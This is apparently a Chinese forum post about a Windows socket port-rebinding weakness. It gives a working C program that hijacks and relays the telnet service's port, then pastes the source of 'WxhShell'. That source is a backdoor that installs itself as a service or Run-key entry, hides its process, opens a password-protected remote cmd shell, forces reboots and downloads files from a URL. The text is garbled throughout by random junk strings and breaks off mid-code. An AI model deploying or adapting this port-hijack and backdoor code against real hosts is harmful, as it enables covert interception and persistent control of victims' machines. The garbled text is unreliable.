在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
TnCN2#BO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*dL!)+:d E_MGejm@ saddr.sin_family = AF_INET;
G(EiDo& xm6cn\e saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8$BZbj%?hx `)/G5 fB bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
wZ5+ H%x YFL9Q< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Ir }r98lz ,?P @ :S<8 这意味着什么?意味着可以进行如下的攻击:
gyondcF 1zl6Rwk^o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8S "vRR XL1v&'HLV 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%c*azo. ~8o's` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
mvyqCOp 0 _jQ"_Ff 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
j
~:Dr CfNHv-jDL 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Uo#%f+t
MD%_Z/NL 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+'Ec)7m }E+#*R3auB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4N|^Joi $z)r(N$ #include
)4vZIU# #include
|X,T>{V?y #include
pdX%TrM+[: #include
lED-Jo2 DWORD WINAPI ClientThread(LPVOID lpParam);
3M=ym. int main()
R_e{H^pY^ {
zB kS1qMn WORD wVersionRequested;
Q-k{Lqa- DWORD ret;
7y1J69IK WSADATA wsaData;
*tC]Z&5 BOOL val;
&.,ZU\`zT SOCKADDR_IN saddr;
-^`]tF`M SOCKADDR_IN scaddr;
, |,DXw int err;
uW3`gwwlU SOCKET s;
V\^3I7F SOCKET sc;
WLma)L`L int caddsize;
9
,=7Uh#7 HANDLE mt;
( 6|S42 DWORD tid;
],YIEOx6
wVersionRequested = MAKEWORD( 2, 2 );
gNY}`'~hr err = WSAStartup( wVersionRequested, &wsaData );
P,^`|\#7 if ( err != 0 ) {
id="\12Bw printf("error!WSAStartup failed!\n");
u=JI 1 return -1;
RcIGIt }
FIG3P)) saddr.sin_family = AF_INET;
Sp3?I2 o y w)q3zC //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
&=oW=g 2 a;jXMR saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2It$ bz saddr.sin_port = htons(23);
wg\*FfQn if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$@<qaR{t \ {
8.3888 printf("error!socket failed!\n");
B#9rqC return -1;
&^KmfT5C }
n>T1KC% val = TRUE;
484lB}H //SO_REUSEADDR选项就是可以实现端口重绑定的
gswp:82e2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~( 54-9& {
;3wj(o0 printf("error!setsockopt failed!\n");
5RCZv\Wd& return -1;
qPY
OO }
Hg\+:}k&9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
AQ:cim` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$R4[TQY).! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
:SjTkfU ;$gZ?& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
phr6@TI {
#K:|@d ret=GetLastError();
m_{OCHS+ printf("error!bind failed!\n");
qfE>N?/ return -1;
=LEKFXqM }
/*\pm!]._^ listen(s,2);
f|G,pDLx while(1)
@|! 9~F {
FjYih> caddsize = sizeof(scaddr);
%y;E1pva //接受连接请求
7714}%Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
69AgPAv<k if(sc!=INVALID_SOCKET)
H)tnxD0) {
T|dQY~n~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ICwhqH& if(mt==NULL)
1sKKmtgH {
HL-zuZa`Ju printf("Thread Creat Failed!\n");
YcW[BMy5h break;
gU1E6V-Jm }
eV$pza }
mVFz[xI CloseHandle(mt);
$xqI3UaX }
SEsc"l8 closesocket(s);
ENW>bS8e` WSACleanup();
=@$G3DM return 0;
Rd7[e^HSN }
<20rxOEnf DWORD WINAPI ClientThread(LPVOID lpParam)
yDh(4w-~gk {
PI@/jh SOCKET ss = (SOCKET)lpParam;
\-3\lZ3qj SOCKET sc;
D5x }V unsigned char buf[4096];
LnZzY0 SOCKADDR_IN saddr;
qd\5S*Z1 long num;
Cj^:8 ?% DWORD val;
)vVt{g DWORD ret;
8 Yfg@"Tn //如果是隐藏端口应用的话,可以在此处加一些判断
l`D^)~o8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ljg2P5 saddr.sin_family = AF_INET;
n46A saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[C 1o9c! saddr.sin_port = htons(23);
+mP&B<=H) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mv9k_7< {
%%J)@k^vH printf("error!socket failed!\n");
Z'sAu#C return -1;
^~~&[wY }
Z@ AHe`A val = 100;
I`Goc!5t
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^3B)i= {
#Ezq}F8Y ret = GetLastError();
F^&
Rg return -1;
_cra_(b }
cm^:3(yYX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZNb;24 {
v"'Co6fw ret = GetLastError();
`;Qw/xl_N return -1;
t<S]YA~N' }
e45gjjts if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
X :2%U {
"[(&$I printf("error!socket connect failed!\n");
`@+}zE closesocket(sc);
Fr{u=0 X closesocket(ss);
n^<3E; a return -1;
u;1/.`NPB }
P2J{Ml# while(1)
U^jxKBq^ {
Cw`8[)=}o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
qFEGV+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
g$C-G5/bjD //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
D5]4(]k& num = recv(ss,buf,4096,0);
c 32IO&W4 if(num>0)
.Cv0Ze send(sc,buf,num,0);
z.fh4p else if(num==0)
|X&.+RI break;
eeIaH
> num = recv(sc,buf,4096,0);
@j
+8 M if(num>0)
!O=?n<Ex" send(ss,buf,num,0);
|<nS<x else if(num==0)
I,4t;4;Zk break;
jtqH3xfy }
`m2e
* closesocket(ss);
!]c]:ed\C closesocket(sc);
v=!Ap ; 2L return 0 ;
WT(inf[ }
&0B<iO<f .yz-o\,gF% K:PzR,nn ==========================================================
scmn-4j'{ [e1kfw 下边附上一个代码,,WXhSHELL
/Mk85C79 @**@W[EM ==========================================================
yn&AMq
]o ftBbO8e #include "stdafx.h"
]3.Un,F 8`bQ,E+2 #include <stdio.h>
>:W7f2%8` #include <string.h>
>7@kwj-f) #include <windows.h>
$Pa7B]A,Ae #include <winsock2.h>
a*4"j2j v #include <winsvc.h>
Lg[v-b=?I #include <urlmon.h>
QF^ _4Yn YTBZklM #pragma comment (lib, "Ws2_32.lib")
BcJ]bIbKb #pragma comment (lib, "urlmon.lib")
Cj). 3{e7j6u\ #define MAX_USER 100 // 最大客户端连接数
|ocIp/$ #define BUF_SOCK 200 // sock buffer
(qn ;MN6< #define KEY_BUFF 255 // 输入 buffer
?Y6MC:l< om 3$= #define REBOOT 0 // 重启
,:yv T6)p #define SHUTDOWN 1 // 关机
emZ^d/A En@] xvE #define DEF_PORT 5000 // 监听端口
1rhsmcE /4 zO #define REG_LEN 16 // 注册表键长度
j.C)KwelBS #define SVC_LEN 80 // NT服务名长度
*2MM a'R)3:S // 从dll定义API
Q_}i8p' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Vp3
9`m-W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[~&C6pR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
npcB+6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
xEK+NKTeV
&tb // wxhshell配置信息
/<Nb/#8 struct WSCFG {
XD\RD int ws_port; // 监听端口
+R7";. char ws_passstr[REG_LEN]; // 口令
e|wH5(V int ws_autoins; // 安装标记, 1=yes 0=no
z4l
O char ws_regname[REG_LEN]; // 注册表键名
Dd+ f,$ char ws_svcname[REG_LEN]; // 服务名
.H1kl)~V char ws_svcdisp[SVC_LEN]; // 服务显示名
nnBgTtsC] char ws_svcdesc[SVC_LEN]; // 服务描述信息
Lo,z7"8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
urGk_.f int ws_downexe; // 下载执行标记, 1=yes 0=no
wk {9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
z`gdE0@;d3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
QusEWq)}< ^{<x*/ nK };
w)bLdQ X|.M9zIx // default Wxhshell configuration
@g|Eb}t struct WSCFG wscfg={DEF_PORT,
qwAN=3@ "xuhuanlingzhe",
nJ/ wtw 1,
,#^<0u+zrF "Wxhshell",
a/@<KnT "Wxhshell",
Sz0M8fYT] "WxhShell Service",
e2#"o{+@ "Wrsky Windows CmdShell Service",
wv,,#P "Please Input Your Password: ",
XQEGMaZ 1,
|xI\)VE^ "
http://www.wrsky.com/wxhshell.exe",
t3 AZS0 "Wxhshell.exe"
VdpkE0 };
GD1=Fb"&) ]a%
*$TF // 消息定义模块
?DVO\Cp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
f_1#>] char *msg_ws_prompt="\n\r? for help\n\r#>";
D
.3Q0a6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C]aa^_Ldd- char *msg_ws_ext="\n\rExit.";
%hK?\Pg3=E char *msg_ws_end="\n\rQuit.";
gi`K^L=C char *msg_ws_boot="\n\rReboot...";
4XL*e+UfJ char *msg_ws_poff="\n\rShutdown...";
yjvH)t/!. char *msg_ws_down="\n\rSave to ";
)c@I|L ld1t1'I' char *msg_ws_err="\n\rErr!";
DQg:W |A char *msg_ws_ok="\n\rOK!";
7e&R6j { .KCK_ d char ExeFile[MAX_PATH];
4)=LOGW int nUser = 0;
TQ&%SMCn HANDLE handles[MAX_USER];
oRM EC7!A0 int OsIsNt;
od>DSn3T fFXG;Q8& SERVICE_STATUS serviceStatus;
G'XlsyaWrb SERVICE_STATUS_HANDLE hServiceStatusHandle;
bw#zMU^E STgl{# // 函数声明
Kb0OauW int Install(void);
6y)xMX int Uninstall(void);
HtOo*\Ne int DownloadFile(char *sURL, SOCKET wsh);
jY-i`rJN int Boot(int flag);
W38My j! void HideProc(void);
Auhw(b>}TW int GetOsVer(void);
lo:]r.lX{ int Wxhshell(SOCKET wsl);
Du>dTi~ void TalkWithClient(void *cs);
hCO*gtA)M int CmdShell(SOCKET sock);
oS)0,p int StartFromService(void);
zypZ3g{vz int StartWxhshell(LPSTR lpCmdLine);
).eT~e
Gj
/U<-N'| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
puS'9Lpp VOID WINAPI NTServiceHandler( DWORD fdwControl );
]I"oS? GCrh4rxgg // 数据结构和表定义
^DHFP-G?e SERVICE_TABLE_ENTRY DispatchTable[] =
rtDm<aUh {
p}.P^`~j {wscfg.ws_svcname, NTServiceMain},
TyMRm {NULL, NULL}
8?W!U*0aS };
]}9cOb%I );$Uf!v4 // 自我安装
~BCSm]j int Install(void)
~\hA-l36 {
I/9ZUxQCyG char svExeFile[MAX_PATH];
t~p9iGX< HKEY key;
zW%-Z6%D strcpy(svExeFile,ExeFile);
tklU
zv ZZTPAmIr // 如果是win9x系统,修改注册表设为自启动
IoNZ'g?d if(!OsIsNt) {
MoA2Cp;8X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GFvZdP`s4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NTiJEzW} RegCloseKey(key);
`Oys&]vb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zsI0Q47\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:c,\8n RegCloseKey(key);
n6WSTh return 0;
HKP\`KBCj }
G Q&9by=} }
W<;i~W }
+8[h& else {
>82Q!HaH E?&dZR // 如果是NT以上系统,安装为系统服务
'q1)W' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
D`e!CprF if (schSCManager!=0)
c[< lr {
5d|*E_yu SC_HANDLE schService = CreateService
mT@UQCG (
<(d^2-0 schSCManager,
(|ga#%iI wscfg.ws_svcname,
^`YSl*: wscfg.ws_svcdisp,
}K;@$B6,@ SERVICE_ALL_ACCESS,
F=B>0Q5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
L3nHvKA] SERVICE_AUTO_START,
5gI@~h S SERVICE_ERROR_NORMAL,
xpFu$2T6P. svExeFile,
[x!T<jJ NULL,
,{itnKJC NULL,
DcoTa-~ NULL,
j]J2,J NULL,
8NeP7.U<w NULL
65ijzZL; );
|IH-a" if (schService!=0)
0"u*K n {
j3`:;'L CloseServiceHandle(schService);
H` Q_gy5Z( CloseServiceHandle(schSCManager);
+Qu~UK\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7H[# strcat(svExeFile,wscfg.ws_svcname);
/.05rTpp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(W3R3>; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3w{4G<I RegCloseKey(key);
0Qw?.#[9 return 0;
&4"(bZ:LO }
|Uy hH^ }
(5-"5<-@R CloseServiceHandle(schSCManager);
e@k
ti@ZJ }
&[I#5bGk }
\EYhAx`2 L7n->8Qk return 1;
I=f1kr
pR }
{>QrI4*A RZ|s[bU // 自我卸载
@z
dmB~C int Uninstall(void)
$+JaEF`8 {
VbBZ\`b HKEY key;
:Iwe> ;} 5/:Zj,41{ if(!OsIsNt) {
ICq;jf ML if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L4.yrA-]C% RegDeleteValue(key,wscfg.ws_regname);
XFYCPET RegCloseKey(key);
:BMU c-[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j@UW[,UI RegDeleteValue(key,wscfg.ws_regname);
t]eB3)FX RegCloseKey(key);
} M'\s return 0;
{ +
[rJ_ }
3dadeu^{A }
,PRM(n - }
Ow//#: else {
X@x:
F|/P ? ]kIztH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4,H}'@Db} if (schSCManager!=0)
q7 Uu 8JXF {
6g akopZO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'y-IE#!5 if (schService!=0)
t47 f$gq {
34JkB+#a if(DeleteService(schService)!=0) {
5?9}^s4 CloseServiceHandle(schService);
Fhxg^ CloseServiceHandle(schSCManager);
?{_dW=AQ1 return 0;
{!^HG+ }
U@f3V8CPy CloseServiceHandle(schService);
?3KI}'}EM }
]o,) #/' $ CloseServiceHandle(schSCManager);
aM? 7'8/ }
X:8=jHkz }
J_rCo4} EF)kYz!@ return 1;
e;rs!I!Yw }
y*Ex5N~JC PK3T@Qv89 // 从指定url下载文件
+|#sF,,X4g int DownloadFile(char *sURL, SOCKET wsh)
4pA<s- {
wZfR>|f HRESULT hr;
&lI.N~Ao char seps[]= "/";
n)`*{uv$ char *token;
+/Y)s5@< char *file;
zb9d{e char myURL[MAX_PATH];
h3@mN\=h' char myFILE[MAX_PATH];
n=rPFpRLF T^A:pL1 strcpy(myURL,sURL);
/"iYEr%_ token=strtok(myURL,seps);
VJ_E]}H while(token!=NULL)
=N7N=xY {
1RRvNZW file=token;
[>"qOFCr#: token=strtok(NULL,seps);
wy) Frg }
%HYC-TF# m}
Yf6:cr GetCurrentDirectory(MAX_PATH,myFILE);
u{6*}6@fi strcat(myFILE, "\\");
3kYUO-qw strcat(myFILE, file);
hC6$>tl send(wsh,myFILE,strlen(myFILE),0);
)%,bog(x send(wsh,"...",3,0);
)%ja6Vg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
jgEiemh& if(hr==S_OK)
[FyE{NfiJ% return 0;
Z8'uZ#=Yw else
m"U\;Mw? return 1;
Ypv"u0 /-BplU*"9 }
zI7-xqZ 1/le%}mK // 系统电源模块
MIt\[EB int Boot(int flag)
,dh*GJ{5 {
00b
)B g HANDLE hToken;
:O//A6v TOKEN_PRIVILEGES tkp;
!(SaE' 2d$hgR#v if(OsIsNt) {
`]tXQqD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
AFMAgf{bD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,C=Fgxw( tkp.PrivilegeCount = 1;
-QZped;?* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Z71"d" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3j.f3~" if(flag==REBOOT) {
h ?p^DPo if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
l'3NiIX return 0;
R_@yj]%H= }
(5G^"Srw else {
@9vz%1B<l if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ej!C^ return 0;
]^Q`CiKd }
x5PQ9Bw, }
"F%cn@l else {
w,`x(!& if(flag==REBOOT) {
jr!x)yd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
p(Qm\g< return 0;
)}u.b-Nt. }
ND21; else {
'{OZ[$E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{mkYW-4Se return 0;
vV=$N"bT~ }
SrHRpxy }
7Bmt^J5i&t C'5i>; return 1;
eU{=x$o6S }
MWhFNfS8= 3s>&h-E // win9x进程隐藏模块
r ."Dc void HideProc(void)
F*I{?NRN1 {
.`,YUr$. %? RX}37K HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Q*KEODR8\ if ( hKernel != NULL )
Sm,%> {
,GR(y^S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
iY*Xm,# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
9IIe: FreeLibrary(hKernel);
*;o=hM)Tp }
p=7kFv *AxKV5[H return;
Gm>8=
=c }
Bxm^Arc> x%x[5.CT // 获取操作系统版本
40q8,M int GetOsVer(void)
`^w5/v# {
LClPAbr OSVERSIONINFO winfo;
?}lCS7& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=|?w<qc GetVersionEx(&winfo);
?,s{M^sj^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^QFjBQ-Hai return 1;
t3bDi/m else
y'E)iI* return 0;
!-2S(8 }
k92189B9j/ # <&=ZLN // 客户端句柄模块
t0?BU~f int Wxhshell(SOCKET wsl)
-JUv'fk {
yY,.GzIjCj SOCKET wsh;
YjG0: 9 struct sockaddr_in client;
[_H9l) DWORD myID;
$9ON3> B>~E6j7[Mp while(nUser<MAX_USER)
bJ/~UEZw {
<y`yKXzBUV int nSize=sizeof(client);
T8qG9)~3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
n}?kQOg0/ if(wsh==INVALID_SOCKET) return 1;
Ui1K66{ 9`c :sop handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$wX5`d1 if(handles[nUser]==0)
^s24f?3 closesocket(wsh);
Iem* 'r else
9prG@ nUser++;
F /t;y\) }
o*dhks[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,Xb :f/lB rU'&o) a^ return 0;
7 H<_
wW }
oA42?I ^ 8SKDL[rN // 关闭 socket
[& hdyLt void CloseIt(SOCKET wsh)
;l?>+m@H {
Gzm[4|nO^ closesocket(wsh);
v_G4:tY nUser--;
d5WE^H)E. ExitThread(0);
I#9K/[ }
=#>P! uswz@
[pa // 客户端请求句柄
l kl#AH void TalkWithClient(void *cs)
ExnszFX* {
1lx\Pz@ol Wje7fv SOCKET wsh=(SOCKET)cs;
l sUQ7%f char pwd[SVC_LEN];
^&Qaf:M char cmd[KEY_BUFF];
{O!fV<Vx 9 char chr[1];
4NbC V)Dm int i,j;
oXz:zoNQ =zbrXtp, while (nUser < MAX_USER) {
7f
7*id U(i2j)|^I3 if(wscfg.ws_passstr) {
9N
u;0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$v>- @ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g[Yok`e[ //ZeroMemory(pwd,KEY_BUFF);
geT<vh Z6 i=0;
UB(8N7_/ while(i<SVC_LEN) {
|r3eq4$Am ,@>B#%Nz // 设置超时
r5F#q fd_set FdRead;
y6G[-?"/Q struct timeval TimeOut;
R4qS,2E FD_ZERO(&FdRead);
=8<SKY&\X FD_SET(wsh,&FdRead);
V:IoeQ]- TimeOut.tv_sec=8;
[;tbNVZK TimeOut.tv_usec=0;
=>BT]WK> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
LfK <%(: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
e4?}#6RF "h)+fAT|, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
JbG+ysn pwd
=chr[0]; [%bshaY:
if(chr[0]==0xd || chr[0]==0xa) { C0kwI*)
pwd=0; AoTL)',
break; O-: ~6A
} /S|Pq!4<
i++; f5`exfdHE
} _<5>
E
^mG-O
// 如果是非法用户,关闭 socket g:OVAA
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xx41Qw>\W
} _YbHnb
hQX|wWh
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qt3\*U7x
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U[Z1@2zLx
McA,
while(1) { WI~';dK2]
d)q{s(<;
ZeroMemory(cmd,KEY_BUFF); b}k`'++2,
?2.<y_1
// 自动支持客户端 telnet标准 @dO~0dF
j=0; Na[bCt
while(j<KEY_BUFF) { "esV#%:#J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iUSs) []H>
cmd[j]=chr[0]; f$/Daq <M
if(chr[0]==0xa || chr[0]==0xd) { <v0 d8
cmd[j]=0; :a`l_RMU
break; b/2t@VlL
} _D
z4}:9
j++; ~Uga=&
} vbh\uv&
Vwl`A3Y
// 下载文件 bC"#.e
if(strstr(cmd,"http://")) { w'U;b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %Wu3$b
if(DownloadFile(cmd,wsh)) ~2=B:;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IWKQU/l!
else 'fZHtnmc0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
N)&3(A@
} !9V_U
else { &4p:2,|r9
{t9'8R3
switch(cmd[0]) { "z7.i{
<!4'?K -N
// 帮助 G$`/86A )
case '?': { 4.R
>mN[
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `)K1[&
break; LVO`+:
} K{"(|~=U
// 安装 .7cQKdvcC
case 'i': { r=s2wjk
if(Install()) |8V+(Vzl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1oodw!hW
else Qv[@ioc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uvZ|6cM
break; "EhA _ =i
} `"/@LUso
// 卸载 6Pd;I,k
case 'r': { Fe`$mtPu .
if(Uninstall()) Ns&SZO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rN_\tulOF
else =j}]-!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C#vU'RNpl
break; 3kQky
} |P~TZ
// 显示 wxhshell 所在路径 Z>M0[DJ_
case 'p': { |<9R%
char svExeFile[MAX_PATH]; F8/4PB8-
strcpy(svExeFile,"\n\r"); eX$u
strcat(svExeFile,ExeFile); M0n@?S
send(wsh,svExeFile,strlen(svExeFile),0); 265df
Y9Pu
break; q=g;TAXZl
} \%rX~UhZ=
// 重启 &o:wSe
case 'b': { sIg{a(1/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w_4`Wsn
if(Boot(REBOOT)) ?v `0KF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ob-z-iDz
else { YV 2T$#7u
closesocket(wsh); JtvAi\52$
ExitThread(0); &P,8)YA
} wVV'9pw}
break; ANi}q9SC
} mI9~\k&9
// 关机 ~#7=gI&p@
case 'd': { +qDudGI
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jSpmE
if(Boot(SHUTDOWN)) rS8/_'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H8rDG/>^
else { U")bvUIL
closesocket(wsh); MhWmY[
ExitThread(0); E*j)gj9
} n1!0KOu/N
break; pz#oRuujY
} CGny#Vh
// 获取shell ;NBJ@E,
case 's': { jQ(qaX&
CmdShell(wsh); jt=mK,%
closesocket(wsh); r1JKTuuo
ExitThread(0); 1i^!A&
break; !fZ{=
} ~ex1,J*}t
// 退出 6# ,2
case 'x': { UC\CCDV#^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 45q-x_
CloseIt(wsh); fPa FL}&
break; Wyw/imr
} ~Wf&$p<|
// 离开 VuPa'2
case 'q': { 34&n{ xv
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +{4ziqYj
closesocket(wsh); $5s?m\!jZz
WSACleanup(); 0,E*9y}
exit(1); LoqS45-)
break; ?tV $o,11
} UuzT*Y>
} +*mi%)I
} N>xs@_"o
|ILj}4ZA7
// 提示信息 $wub)^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yiWBIJ2Wu9
} r`HtN{6r
} $0+AR)
{D 9m//x
return; e4j:IK>
} 7GB>m}7
&r;-=ASYzV
// shell模块句柄 ^fQ ]>/u
int CmdShell(SOCKET sock) oZQ%P
{ LlrUJ-uC7
STARTUPINFO si; :Fm;0R@/k
ZeroMemory(&si,sizeof(si)); N/4`afiV.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )t0Y-),vA
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vB
hpD
PROCESS_INFORMATION ProcessInfo; ~$Xz~#~
char cmdline[]="cmd"; XcAx@CY9c
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *G7/
return 0; )!s f@F?
} {D={>0
JS1$l+1
// 自身启动模式 q5p!Ty"
int StartFromService(void) ,73J#
{ s9>-Q"(y
typedef struct
")q
{ LK-2e$1
DWORD ExitStatus; G\@uj>Z
DWORD PebBaseAddress; <]2X~+v
DWORD AffinityMask; 96fbMP+7R
